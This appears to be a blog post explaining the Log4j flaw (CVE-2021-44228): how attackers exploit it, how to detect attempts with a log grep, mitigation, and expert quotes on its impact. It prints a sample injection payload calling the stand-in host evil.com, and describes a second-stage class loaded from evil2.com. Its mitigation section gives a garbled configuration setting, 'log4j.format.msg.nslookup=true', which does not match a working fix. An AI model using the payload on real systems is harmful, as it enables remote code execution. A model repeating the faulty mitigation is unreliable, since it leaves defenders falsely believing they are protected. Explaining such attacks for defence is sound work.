Log4j, Log4j, Log4j: Vulnerability of the year 2021?

On December 10, the cyber security community was hit again yet with another 0-day exploit. The vulnerability being tracked as CVE-2021-44228, is called “log4j” which is a critical vulnerability in popular java logging library. The vulnerability is being exploited in the public as you’re reading this article. Threat actors are adopting “spray-and-pray” method to exploit this vulnerability to internet connected servers. Security operations, incident responders and researchers all over the world are scratching their heads over this vulnerability, as it will give the security community a hard time just ahead of the holiday season.

What is Log4j?

Log4j is a Zero-day vulnerability in the popular Java logging library. It’s an open source, java-based logging framework commonly utilized in Apache web servers. The library is widely used in many commercial and open-source software products to be used as logging framework for Java. Log4j is used as logging package in variety of different popular vendors, including Amazon, Cisco, Cloudflare, Red Hat, Twitter and many others.

Log4j is being tracked as CVE-2021-44228 and the affected versions are from 2.0-beta9 up to 2.15.0. This bug has a CVSS score of 10 which makes it very critical. Threat actors can exploit this vulnerability remotely and no authentication is needed to run arbitrary code on affected servers.

How easy to exploit Log4j?

Threat actors on the internet have begun to attack servers, applications all over of the world since the POC has been published in Github. One thing is for sure to say, it’s so much easier to exploit this vulnerability and all attackers have to do is to send a single string of text, which in turn will trigger applications to reach out to malicious external host.

In order to exploit log4j, you need the following:

A server with vulnerable log4j versions (from 2.0beta9-2.15)
An endpoint with any protocol (HTTP, TCP) that allows an attacker to send the exploit string.
A log statement logging the string from the request sent.

Here are the exploit steps:

Threat actor sends data to the server via any protocol.
The server logs the data in the request which contains malicious payload: ${jndi:ldap://evil.com/a} where evil.com is an attacker controlled server.
Log4j vulnerability is triggered by this payload and the server makes a request to evil.com via “Java Naming and Directory Interface (JNDI)”
The response from the request contains a path to remote Java class file (http://evil2.com/Exploit.class) which gets injected into the server process.
The injected payload triggers a second stage, allows attacker to execute arbitrary code.

Here’s a picture to depict the attack:

Detections and Mitigations for Log4j?

Detecting Log4j in your environment would not be an easy task. The attack surface goes beyond on-premises hosted servers. If your vendor is affected by this vulnerability, then you are at risk as well. Here are few things you can do to detect if you’re at risk:

Check for servers using affected log4j versions (2.0 <= Apache Log4j <=2.15.)
Ask your vendors if their product is vulnerable.
You can check for exploitation attempts using this command: sudo egrep -I -r ‘\$\{jndi: (ldap[s]?|rmi|dns):/[^\n] +’ /var/log/

Check the network logs for the presence of the list indicators of compromise (IOCs):

Log4j is extremely deadly and patching the affected versions immediately is the best course of option. Here are few things you can do to mitigate:

Log4j version 2.16.0 is available to remediate the vulnerability. Install the update immediately.
If patching is not an option, make a configuration change like this: “log4j.format.msg.nslookup=true”

**Attack overview and remediation steps.**

How big is the impact?

The impact of this vulnerability is a lot scarier than what many people think. According to the senior manager of vulnerabilities and signatures at Qualys, “The Apache Log4j zero-day vulnerability is probably the most critical vulnerability we have seen this year”

Due to the simple nature of the exploit, this vulnerability is going to be a nightmare for the security teams in coming days. This vulnerability opens many of the other attacks such as ransomware, crypto mining malwares and RCEs. SANS handler Bojan Zdrnja mentioned, “The vulnerability is in the JNDI lookup features of the log4j library. While the background around this very complex, exploitation actually is not”

Moreover, practically anything using Java could be vulnerable for example: even you home router can be vulnerable!! Tenable CTO Renaud Deraison says that “it affects not only the code you build, but also the third-party systems you have in place. Everything from the new printer you’ve brought for the office to the ticketing system you’ve just deployed is potentially affected by this flaw. Some affected systems may be on premises, others hosted in the cloud no matter where they are, the flaw is likely to have an impact”

Regardless of being directly impacted or not, I think security folks should keeping an eye on this vulnerability closely. Continuous monitoring and keeping up to date with the TTPs on this attack would be the key to keep your environment protected.

Let me know your thoughts on this vulnerability. It would be interesting to see how this one evolves in coming days.